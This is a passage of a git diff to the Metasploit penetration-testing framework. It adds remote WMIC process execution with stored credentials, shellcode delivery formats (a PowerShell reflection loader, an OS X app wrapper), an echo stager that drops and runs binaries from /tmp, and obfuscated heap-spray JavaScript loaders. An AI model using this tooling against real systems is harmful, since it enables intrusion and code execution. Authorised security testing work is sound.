+    ps.close
+
+    if extapi
+      result = session.extapi.clipboard.get_data.first
+      if result[1].has_key? 'Text'
+        result_text = result[1]['Text']
+      else
+        result_text = ""
+      end
+    else
+      result_text = Rex::Text.to_ascii(read_file(out_file))[1..-1]
+      file_rm(out_file)
+    end
+
+    return result_text
+  end
+
+  def wmic_command(cmd, server=datastore['RHOST'])
+    result_text = wmic_query("process call create \"#{cmd.gsub('"','\\"')}\"", server)
+
+    parsed_result = nil
+    unless result_text.blank?
+      vprint_status("[#{server}] WMIC Command Result:")
+      vprint_line(result_text)
+      parsed_result = parse_wmic_result(result_text)
+    end
+
+    if parsed_result == nil
+      vprint_error("[#{server}] WMIC Command Error")
+    end
+
+    return parsed_result
+  end
+
+  def parse_wmic_result(result_text)
+    if result_text.blank?
+      return nil
+    else
+      pid = nil
+      return_value = nil
+
+      if result_text =~ /ProcessId = (\d+);/
+        pid = $1.to_i
+      end
+
+      if result_text =~ /ReturnValue = (\d+);/
+        return_value = $1.to_i
+      end
+
+      return {:return => return_value, :pid => pid, :text =>result_text}
+    end
+  end
+
+  def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
+    userpass = ""
+
+    unless user.nil?
+      if domain.nil?
+        userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
+      else
+        userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
+      end
+    end
+
+    return userpass
+  end
+
+end # WMIC
+end # Windows
+end # Post
+end # Msf
diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb
index 691b5598e6..881a91600a 100644
--- a/lib/msf/core/post_mixin.rb
+++ b/lib/msf/core/post_mixin.rb
@@ -74,7 +74,7 @@ module Msf::PostMixin
     return @session if @session and not session_changed?
 
     if datastore["SESSION"]
-      @session = framework.sessions[datastore["SESSION"].to_i]
+      @session = framework.sessions.get(datastore["SESSION"].to_i)
     else
       @session = nil
     end
diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb
index 84bac06aad..dbe2e1d0a8 100644
--- a/lib/msf/core/session_manager.rb
+++ b/lib/msf/core/session_manager.rb
@@ -279,7 +279,17 @@ class SessionManager < Hash
   # Returns the session associated with the supplied sid, if any.
   #
   def get(sid)
-    return self[sid.to_i]
+    session = nil
+    sid = sid.to_i
+
+    if sid > 0
+      session = self[sid]
+    elsif sid == -1
+      sid = self.keys.sort[-1]
+      session = self[sid]
+    end
+
+    session
   end
 
   #
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index 3c4d4b4745..f779e4de63 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -824,10 +824,15 @@ class Db
     tbl = Rex::Ui::Text::Table.new(tbl_opts)
 
     creds_returned = 0
+    inactive_count = 0
     # Now do the actual search
     framework.db.each_cred(framework.db.workspace) do |cred|
       # skip if it's inactive and user didn't ask for all
-      next unless (cred.active or inactive_ok)
+      if !cred.active && !inactive_ok
+        inactive_count += 1
+        next
+      end
+
       if search_term
         next unless cred.attribute_names.any? { |a| cred[a.intern].to_s.match(search_term) }
       end
@@ -876,8 +881,15 @@ class Db
     end
 
     print_line
-    if (output_file == nil)
+    if output_file.nil?
       print_line(tbl.to_s)
+      if !inactive_ok && inactive_count > 0
+        # Then we're not printing the inactive ones. Let the user know
+        # that there are some they are not seeing and how to get at
+        # them.
+        print_line "Also found #{inactive_count} inactive creds (`creds all` to list them)"
+        print_line
+      end
     else
       # create the output file
       ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb
index f15e359393..392b5795aa 100644
--- a/lib/msf/ui/console/module_command_dispatcher.rb
+++ b/lib/msf/ui/console/module_command_dispatcher.rb
@@ -36,35 +36,162 @@ module ModuleCommandDispatcher
     self.driver.active_module = m
   end
 
+  def check_progress
+    return 0 unless @range_done and @range_count
+    pct = (@range_done / @range_count.to_f) * 100
+  end
+
+  def check_show_progress
+    pct = check_progress
+    if(pct >= (@range_percent + @show_percent))
+      @range_percent = @range_percent + @show_percent
+      tdlen = @range_count.to_s.length
+      print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)")
+    end
+  end
+
+  def check_multiple(hosts)
+    # This part of the code is mostly from scanner.rb
+    @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false
+    @show_percent  = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i
+
+    @range_count   = hosts.length || 0
+    @range_done    = 0
+    @range_percent = 0
+
+    # Set the default thread to 1. The same behavior as before.
+    threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i
+    @tl = []
+
+
+    if Rex::Compat.is_windows
+      if threads_max > 16
+        print_warning("Thread count has been adjusted to 16")
+        threads_max = 16
+      end
+    end
+
+    if Rex::Compat.is_cygwin
+      if threads_max > 200
+        print_warning("Thread count has been adjusted to 200")
+        threads_max = 200
+      end
+    end
+
+    loop do
+      while (@tl.length < threads_max)
+        ip = hosts.next_ip
+        break unless ip
+
+        @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip|
+          # Make sure this is thread-safe when assigning an IP to the RHOST
+          # datastore option
+          instance = mod.replicant
+          instance.datastore['RHOST'] = tip.dup
+          Msf::Simple::Framework.simplify_module(instance, false)
+          check_simple(instance)
+        }
+      end
+
+      break if @tl.length == 0
+
+      tla = @tl.length
+
+      # This exception handling is necessary, the first thread with errors can kill the
+      # whole check_multiple and leave the rest of the threads running in background and
+      # only accessible with the threads command (Thread.list)
+      begin
+        @tl.first.join
+      rescue ::Exception => exception
+        if exception.kind_of?(::Interrupt)
+          raise exception
+        else
+          elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}")
+        end
+      end
+
+      @tl.delete_if { |t| not t.alive? }
+      tlb = @tl.length
+
+      @range_done += (tla - tlb)
+      check_show_progress if @show_progress
+    end
+  end
+
   #
   # Checks to see if a target is vulnerable.
   #
   def cmd_check(*args)
     defanged?
+
+    ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
+    hosts = Rex::Socket::RangeWalker.new(ip_range_arg)
+
     begin
-      code = mod.check_simple(
+      if hosts.ranges.blank?
+        # Check a single rhost
+        check_simple
+      else
+        # Check multiple hosts
+        last_rhost_opt = mod.rhost
+        last_rhosts_opt = mod.datastore['RHOSTS']
+        mod.datastore['RHOSTS'] = ip_range_arg
+        begin
+          check_multiple(hosts)
+        ensure
+          # Restore the original rhost if set
+          mod.datastore['RHOST'] = last_rhost_opt
+          mod.datastore['RHOSTS'] = last_rhosts_opt
+          mod.cleanup
+        end
+      end
+    rescue ::Interrupt
+      # When the user sends interrupt trying to quit the task, some threads will still be active.
+      # This means even though the console tells the user the task has aborted (or at least they
+      # assume so), the checks are still running. Because of this, as soon as we detect interrupt,
+      # we force the threads to die.
+      if @tl
+        @tl.each { |t| t.kill }
+      end
+      print_status("Caught interrupt from the console...")
+      return
+    end
+  end
+
+  def check_simple(instance=nil)
+    unless instance
+      instance = mod 
+    end
+
+    rhost = instance.rhost
+    rport = nil
+    peer = rhost
+    if instance.datastore['rport']
+      rport = instance.rport
+      peer = "#{rhost}:#{rport}"
+    end
+
+    begin
+      code = instance.check_simple(
         'LocalInput'  => driver.input,
         'LocalOutput' => driver.output)
       if (code and code.kind_of?(Array) and code.length > 1)
         if (code == Msf::Exploit::CheckCode::Vulnerable)
-          print_good(code[1])
+          print_good("#{peer} - #{code[1]}")
         else
-          print_status(code[1])
+          print_status("#{peer} - #{code[1]}")
         end
       else
-        print_error("Check failed: The state could not be determined.")
+        print_error("#{peer} - Check failed: The state could not be determined.")
       end
-    rescue ::Interrupt
-      raise $!
+    rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
+      # Connection issues while running check should be handled by the module
+    rescue ::RuntimeError
+      # Some modules raise RuntimeError but we don't necessarily care about those when we run check()
+    rescue Msf::OptionValidateError => e
+      print_error("Check failed: #{e.message}")
     rescue ::Exception => e
-      print_error("Exploit check failed: #{e.class} #{e}")
-      if(e.class.to_s != 'Msf::OptionValidateError')
-        print_error("Call stack:")
-        e.backtrace.each do |line|
-          break if line =~ /lib.msf.base.simple/
-          print_error("  #{line}")
-        end
-      end
+      print_error("#{peer} - Check failed: #{e.class} #{e}")
     end
   end
 
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index a5d4fc147f..55381967d2 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -422,6 +422,17 @@ require 'msf/core/exe/segment_injector'
     if opts[:exe_type] == :dll
       mt = pe.index('MUTEX!!!')
       pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+
+      if opts[:dll_exitprocess]
+        exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
+        exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
+        et_index =  pe.index(exit_thread)
+        if et_index
+          pe[et_index,exit_process.length] = exit_process
+        else
+          raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
+        end
+      end
     end
 
     return pe
@@ -469,14 +480,24 @@ require 'msf/core/exe/segment_injector'
     # Allow the user to specify their own DLL template
     set_template_default(opts, "template_x86_windows.dll")
     opts[:exe_type] = :dll
-    exe_sub_method(code,opts)
+
+    if opts[:inject]
+       return self.to_win32pe(framework, code, opts)
+    else
+      return exe_sub_method(code,opts)
+    end
   end
 
   def self.to_win64pe_dll(framework, code, opts={})
     # Allow the user to specify their own DLL template
     set_template_default(opts, "template_x64_windows.dll")
     opts[:exe_type] = :dll
-    exe_sub_method(code,opts)
+
+    if opts[:inject]
+      raise RuntimeError, 'Template injection unsupported for x64 DLLs'
+    else
+      return exe_sub_method(code,opts)
+    end
   end
 
   #
@@ -606,6 +627,48 @@ require 'msf/core/exe/segment_injector'
     return macho
   end
 
+  # @param [Hash] opts the options hash
+  # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
+  # @option opts [String] :app_name (random) the name of the OSX app
+  # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
+  # @return [String] zip archive containing an OSX .app directory
+  def self.to_osx_app(exe, opts={})
+    exe_name    = opts[:exe_name]    || Rex::Text.rand_text_alpha(8)
+    app_name    = opts[:app_name]    || Rex::Text.rand_text_alpha(8)
+    plist_extra = opts[:plist_extra] || ''
+
+    app_name.chomp!(".app")
+    app_name += ".app"
+
+    info_plist = %Q|
+      <?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>CFBundleExecutable</key>
+  <string>#{exe_name}</string>
+  <key>CFBundleIdentifier</key>
+  <string>com.#{exe_name}.app</string>
+  <key>CFBundleName</key>
+  <string>#{exe_name}</string>
+  <key>CFBundlePackageType</key>
+  <string>APPL</string>
+  #{plist_extra}
+</dict>
+</plist>
+    |
+
+    zip = Rex::Zip::Archive.new
+    zip.add_file("#{app_name}/", '')
+    zip.add_file("#{app_name}/Contents/", '')
+    zip.add_file("#{app_name}/Contents/MacOS/", '')
+    zip.add_file("#{app_name}/Contents/Resources/", '')
+    zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
+    zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
+    zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
+    zip.pack
+  end
+
   # Create an ELF executable containing the payload provided in +code+
   #
   # For the default template, this method just appends the payload, checks if
@@ -782,7 +845,7 @@ require 'msf/core/exe/segment_injector'
     return read_replace_script_template("to_exe.vba.template", hash_sub)
   end
 
-def self.to_vba(framework,code,opts={})
+  def self.to_vba(framework,code,opts={})
     hash_sub = {}
     hash_sub[:var_myByte]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
     hash_sub[:var_myArray]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
@@ -884,7 +947,7 @@ def self.to_vba(framework,code,opts={})
 
     hash_sub = rig.to_h
     hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
-  
+
     return read_replace_script_template("to_mem.aspx.template", hash_sub)
   end
 
@@ -920,6 +983,33 @@ def self.to_vba(framework,code,opts={})
     return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
   end
 
+  #
+  # Reflection technique prevents the temporary .cs file being created for the .NET compiler
+  # Tweaked by shellster
+  # Originally from PowerSploit
+  #
+  def self.to_win32pe_psh_reflection(framework, code, opts={})
+    # Intialize rig and value names
+    rig = Rex::RandomIdentifierGenerator.new()
+    rig.init_var(:func_get_proc_address)
+    rig.init_var(:func_get_delegate_type)
+    rig.init_var(:var_code)
+    rig.init_var(:var_module)
+    rig.init_var(:var_procedure)
+    rig.init_var(:var_unsafe_native_methods)
+    rig.init_var(:var_parameters)
+    rig.init_var(:var_return_type)
+    rig.init_var(:var_type_builder)
+    rig.init_var(:var_buffer)
+    rig.init_var(:var_hthread)
+
+    hash_sub = rig.to_h
+
+    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
+
+    return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
+  end
+
   def self.to_win32pe_vbs(framework, code, opts={})
     to_exe_vbs(to_win32pe(framework, code, opts), opts)
   end
@@ -934,6 +1024,7 @@ def self.to_vba(framework,code,opts={})
     spawn = opts[:spawn] || 2
     exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
     zip = Rex::Zip::Jar.new
+    zip.add_sub("metasploit") if opts[:random]
     paths = [
       [ "metasploit", "Payload.class" ],
     ]
@@ -1595,14 +1686,14 @@ def self.to_vba(framework,code,opts={})
 
     case fmt
     when 'asp'
-      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
       output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
 
     when 'aspx'
         output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
 
     when 'aspx-exe'
-      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
       output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
 
     when 'dll'
@@ -1611,6 +1702,7 @@ def self.to_vba(framework,code,opts={})
         when ARCH_X86_64  then to_win64pe_dll(framework, code, exeopts)
         when ARCH_X64     then to_win64pe_dll(framework, code, exeopts)
         end
+
     when 'exe'
       output = case arch
         when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
@@ -1628,11 +1720,12 @@ def self.to_vba(framework,code,opts={})
     when 'exe-small'
       output = case arch
         when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
+        when ARCH_X86_64,ARCH_X64 then to_win64pe(framework, code, exeopts)
         end
 
     when 'exe-only'
       output = case arch
-        when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
+        when ARCH_X86,nil then to_winpe_only(framework, code, exeopts)
         when ARCH_X86_64  then to_winpe_only(framework, code, exeopts, arch)
         when ARCH_X64     then to_winpe_only(framework, code, exeopts, arch)
         end
@@ -1676,7 +1769,7 @@ def self.to_vba(framework,code,opts={})
           end
       end
 
-    when 'macho'
+    when 'macho', 'osx-app'
       output = case arch
         when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
         when ARCH_X86_64  then to_osx_x64_macho(framework, code, exeopts)
@@ -1684,20 +1777,21 @@ def self.to_vba(framework,code,opts={})
         when ARCH_ARMLE   then to_osx_arm_macho(framework, code, exeopts)
         when ARCH_PPC     then to_osx_ppc_macho(framework, code, exeopts)
         end
+      output = Msf::Util::EXE.to_osx_app(output) if fmt == 'osx-app'
 
     when 'vba'
       output = Msf::Util::EXE.to_vba(framework, code, exeopts)
 
     when 'vba-exe'
-      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
       output = Msf::Util::EXE.to_exe_vba(exe)
 
     when 'vbs'
-      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
       output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
 
     when 'loop-vbs'
-      exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
       output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
 
     when 'war'
@@ -1713,6 +1807,9 @@ def self.to_vba(framework,code,opts={})
     when 'psh-net'
       output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
 
+    when 'psh-reflection'
+      output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
+
     end
 
     output
@@ -1733,8 +1830,10 @@ def self.to_vba(framework,code,opts={})
       "macho",
       "msi",
       "msi-nouac",
+      "osx-app",
       "psh",
       "psh-net",
+      "psh-reflection",
       "vba",
       "vba-exe",
       "vbs",
diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb
index 78868ec764..0b862f8e61 100644
--- a/lib/rapid7/nexpose.rb
+++ b/lib/rapid7/nexpose.rb
@@ -3,7 +3,7 @@
 #
 =begin
 
-Copyright (C) 2009-2012, Rapid7 LLC
+Copyright (C) 2009-2012, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
@@ -16,7 +16,7 @@ are permitted provided that the following conditions are met:
     this list of conditions and the following disclaimer in the documentation
     and/or other materials provided with the distribution.
 
-    * Neither the name of Rapid7 LLC nor the names of its contributors
+    * Neither the name of Rapid7, Inc. nor the names of its contributors
     may be used to endorse or promote products derived from this software
     without specific prior written permission.
 
diff --git a/lib/rex.rb b/lib/rex.rb
index b5452ec195..8b9c39bbac 100644
--- a/lib/rex.rb
+++ b/lib/rex.rb
@@ -2,7 +2,7 @@
 
 The Metasploit Rex library is provided under the 3-clause BSD license.
 
-Copyright (c) 2005-2010, Rapid7 LLC
+Copyright (c) 2005-2010, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
@@ -15,7 +15,7 @@ are permitted provided that the following conditions are met:
    this list of conditions and the following disclaimer in the documentation 
    and/or other materials provided with the distribution.
    
- * Neither the name of Rapid7 LLC nor the names of its contributors may be 
+ * Neither the name of Rapid7, Inc. nor the names of its contributors may be 
    used to endorse or promote products derived from this software without 
    specific prior written permission.
 
diff --git a/lib/rex/LICENSE b/lib/rex/LICENSE
index 0c087d9684..bca0cd8cee 100644
--- a/lib/rex/LICENSE
+++ b/lib/rex/LICENSE
@@ -1,6 +1,6 @@
 The Metasploit Rex library is provided under the 3-clause BSD license.
 
-Copyright (c) 2005-2006, Rapid7 LLC
+Copyright (c) 2005-2006, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
@@ -13,7 +13,7 @@ are permitted provided that the following conditions are met:
    this list of conditions and the following disclaimer in the documentation 
    and/or other materials provided with the distribution.
    
- * Neither the name of Rapid7 LLC nor the names of its contributors may be 
+ * Neither the name of Rapid7, Inc. nor the names of its contributors may be 
    used to endorse or promote products derived from this software without 
    specific prior written permission.
 
diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb
index 99eebbe428..cc6656715b 100644
--- a/lib/rex/compat.rb
+++ b/lib/rex/compat.rb
@@ -114,7 +114,7 @@ def self.open_file(url='')
   end
 end
 
-def self.open_browser(url='http://metasploit.com/')
+def self.open_browser(url='http://google.com/')
   case RUBY_PLATFORM
   when /cygwin/
     if(url[0,1] == "/")
@@ -148,6 +148,62 @@ def self.open_browser(url='http://metasploit.com/')
   end
 end
 
+def self.open_webrtc_browser(url='http://google.com/')
+  found_browser = false
+
+  case RUBY_PLATFORM
+  when /mswin2|mingw|cygwin/
+      paths = [
+        "Google\\Chrome\\Application\\chrome.exe",
+        "Mozilla Firefox\\firefox.exe",
+        "Opera\\launcher.exe"
+      ]
+
+      prog_files = ENV['ProgramFiles']
+      paths = paths.map { |p| "#{prog_files}\\#{p}" }
+
+      # Old chrome path
+      app_data = ENV['APPDATA']
+      paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
+
+      paths.each do |p|
+        if File.exists?(p)
+          args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
+          system("#{path} #{args} #{url}")
+          found_browser = true
+          break
+        end
+      end
+
+  when /darwin/
+    ['Google Chrome.app', 'Firefox.app'].each do |browser|
+      browser_path = "/Applications/#{browser}"
+      if File.directory?(browser_path)
+        args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
+
+        system("open #{url} -a \"#{browser_path}\" #{args} &")
+        found_browser = true
+        break
+      end
+    end
+  else
+    if defined? ENV['PATH']
+      ['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
+        ENV['PATH'].split(':').each do |path|
+          browser_path = "#{path}/#{browser}"
+          if File.exists?(browser_path)
+            args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
+            system("#{browser_path} #{args} #{url} &")
+            found_browser = true
+          end
+        end
+      end
+    end
+  end
+
+  found_browser
+end
+
 def self.open_email(addr)
   case RUBY_PLATFORM
   when /mswin32|cygwin/
diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb
index 93aa1f4603..049a6801b5 100644
--- a/lib/rex/constants.rb
+++ b/lib/rex/constants.rb
@@ -64,29 +64,30 @@ LEV_3     = 3
 #
 # Architecture constants
 #
-ARCH_ANY    = '_any_'
-ARCH_X86    = 'x86'
-ARCH_X86_64 = 'x86_64'
-ARCH_X64    = 'x64' # To be used for compatability with ARCH_X86_64
-ARCH_MIPS   = 'mips'
-ARCH_MIPSLE = 'mipsle'
-ARCH_MIPSBE = 'mipsbe'
-ARCH_PPC    = 'ppc'
-ARCH_PPC64  = 'ppc64'
-ARCH_CBEA   = 'cbea'
-ARCH_CBEA64 = 'cbea64'
-ARCH_SPARC  = 'sparc'
-ARCH_CMD    = 'cmd'
-ARCH_PHP    = 'php'
-ARCH_TTY    = 'tty'
-ARCH_ARMLE  = 'armle'
-ARCH_ARMBE  = 'armbe'
-ARCH_JAVA   = 'java'
-ARCH_RUBY   = 'ruby'
-ARCH_DALVIK = 'dalvik'
-ARCH_PYTHON = 'python'
-ARCH_NODEJS = 'nodejs'
-ARCH_TYPES  =
+ARCH_ANY     = '_any_'
+ARCH_X86     = 'x86'
+ARCH_X86_64  = 'x86_64'
+ARCH_X64     = 'x64' # To be used for compatability with ARCH_X86_64
+ARCH_MIPS    = 'mips'
+ARCH_MIPSLE  = 'mipsle'
+ARCH_MIPSBE  = 'mipsbe'
+ARCH_PPC     = 'ppc'
+ARCH_PPC64   = 'ppc64'
+ARCH_CBEA    = 'cbea'
+ARCH_CBEA64  = 'cbea64'
+ARCH_SPARC   = 'sparc'
+ARCH_CMD     = 'cmd'
+ARCH_PHP     = 'php'
+ARCH_TTY     = 'tty'
+ARCH_ARMLE   = 'armle'
+ARCH_ARMBE   = 'armbe'
+ARCH_JAVA    = 'java'
+ARCH_RUBY    = 'ruby'
+ARCH_DALVIK  = 'dalvik'
+ARCH_PYTHON  = 'python'
+ARCH_NODEJS  = 'nodejs'
+ARCH_FIREFOX = 'firefox'
+ARCH_TYPES   =
   [
     ARCH_X86,
     ARCH_X86_64,
@@ -107,7 +108,8 @@ ARCH_TYPES  =
     ARCH_RUBY,
     ARCH_DALVIK,
     ARCH_PYTHON,
-    ARCH_NODEJS
+    ARCH_NODEJS,
+    ARCH_FIREFOX
   ]
 
 ARCH_ALL = ARCH_TYPES
diff --git a/lib/rex/encoding/xor/generic.rb b/lib/rex/encoding/xor/generic.rb
index 311dd40008..5e9dc831af 100644
--- a/lib/rex/encoding/xor/generic.rb
+++ b/lib/rex/encoding/xor/generic.rb
@@ -36,7 +36,7 @@ class Generic
     return _find_good_key(data, _find_bad_keys(data, badchars), badchars)
   end
 
-  # !!! xxx MAKE THESE BITCHE PRIVATE
+  # !!! xxx MAKE THESE PRIVATE
 
   #
   # Find a list of bytes that can't be valid xor keys, from the data and badchars.
diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb
index 65c8b48ab6..0891a4b625 100644
--- a/lib/rex/exploitation/cmdstager/echo.rb
+++ b/lib/rex/exploitation/cmdstager/echo.rb
@@ -10,6 +10,11 @@ module Exploitation
 
 class CmdStagerEcho < CmdStagerBase
 
+  ENCODINGS = {
+    'hex'   => "\\\\x",
+    'octal' => "\\\\"
+  }
+
   def initialize(exe)
     super
 
@@ -18,12 +23,21 @@ class CmdStagerEcho < CmdStagerBase
 
   #
   # Override to ensure opts[:temp] is a correct *nix path
+  # and initialize opts[:enc_format].
   #
   def generate(opts = {})
     opts[:temp] = opts[:temp] || '/tmp/'
     opts[:temp].gsub!(/\\/, "/")
     opts[:temp] = opts[:temp].shellescape
     opts[:temp] << '/' if opts[:temp][-1,1] != '/'
+
+    # by default use the 'hex' encoding
+    opts[:enc_format] = opts[:enc_format] || 'hex'
+
+    unless ENCODINGS.keys.include?(opts[:enc_format])
+      raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
+    end
+
     super
   end
 
@@ -36,19 +50,35 @@ class CmdStagerEcho < CmdStagerBase
     unless opts[:noargs]
       @cmd_start += "-en "
     end
+
     @cmd_end   = ">>#{@tempdir}#{@var_elf}"
-    xtra_len = @cmd_start.length + @cmd_end.length + 1
+    xtra_len = @cmd_start.length + @cmd_end.length
     opts.merge!({ :extra => xtra_len })
+
+    @prefix = ENCODINGS[opts[:enc_format]]
+    min_part_size = 5 # for both encodings
+
+    if (opts[:linemax] - opts[:extra]) < min_part_size
+      raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
+    end
+
     super
   end
 
 
   #
-  # Encode into a "\\x55\\xAA" hex format that echo understands, where
-  # interpretation of backslash escapes are enabled
+  # Encode into a format that echo understands, where
+  # interpretation of backslash escapes are enabled. For
+  # hex, it'll look like "\\x41\\x42", and octal will be
+  # "\\101\\102\\5\\41"
   #
   def encode_payload(opts)
-    return Rex::Text.to_hex(@exe, "\\\\x")
+    case opts[:enc_format]
+    when 'octal'
+      return Rex::Text.to_octal(@exe, @prefix)
+    else
+      return Rex::Text.to_hex(@exe, @prefix)
+    end
   end
 
 
@@ -73,7 +103,8 @@ class CmdStagerEcho < CmdStagerBase
   def generate_cmds_decoder(opts)
     cmds = []
     # Make it all happen
-    cmds << "chmod +x #{@tempdir}#{@var_elf}"
+    cmds << "chmod 777 #{@tempdir}#{@var_elf}"
+    #cmds << "chmod +x #{@tempdir}#{@var_elf}"
     cmds << "#{@tempdir}#{@var_elf}"
 
     # Clean up after unless requested not to..
@@ -96,10 +127,8 @@ class CmdStagerEcho < CmdStagerBase
     while (encoded_dup.length > 0)
       temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
       # cut the end of the part until we reach the start
-      # of a full byte representation "\\xYZ"
-      while (temp.length > 0 && temp[-5, 3] != "\\\\x")
-        temp.chop!
-      end
+      # of a full byte representation "\\xYZ" or "\\YZX"
+      temp = fix_last_byte(temp, opts, encoded_dup)
       parts << temp
       encoded_dup.slice!(0, temp.length)
     end
@@ -107,6 +136,25 @@ class CmdStagerEcho < CmdStagerBase
     parts
   end
 
+  def fix_last_byte(part, opts, remaining="")
+    fixed_part = part.dup
+
+    case opts[:enc_format]
+    when 'hex'
+      while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
+        fixed_part.chop!
+      end
+    when 'octal'
+      if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
+        pos = fixed_part.rindex('\\')
+        pos -= 1 if fixed_part[pos-1] == '\\'
+        fixed_part.slice!(pos..fixed_part.length-1)
+      end
+    end
+
+    return fixed_part
+  end
+
   def cmd_concat_operator
     " ; "
   end
diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb
index 2d94e2ae5e..f8fb22c77e 100644
--- a/lib/rex/exploitation/js/memory.rb
+++ b/lib/rex/exploitation/js/memory.rb
@@ -24,6 +24,18 @@ class Memory
       }).obfuscate
   end
 
+  def self.heaplib2(custom_js='', opts={})
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js"))
+
+    unless custom_js.blank?
+      js << custom_js
+    end
+
+    js = ::Rex::Exploitation::JSObfu.new js
+    js.obfuscate
+    return js
+  end
+
   def self.property_spray
     js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js"))
 
@@ -46,6 +58,23 @@ class Memory
       }).obfuscate
   end
 
+  def self.explib2
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js"))
+
+    ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
+  end
+
+  def self.explib2_payload(payload="exec")
+    case payload
+    when "drop_exec"
+      js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js"))
+    else # "exec"
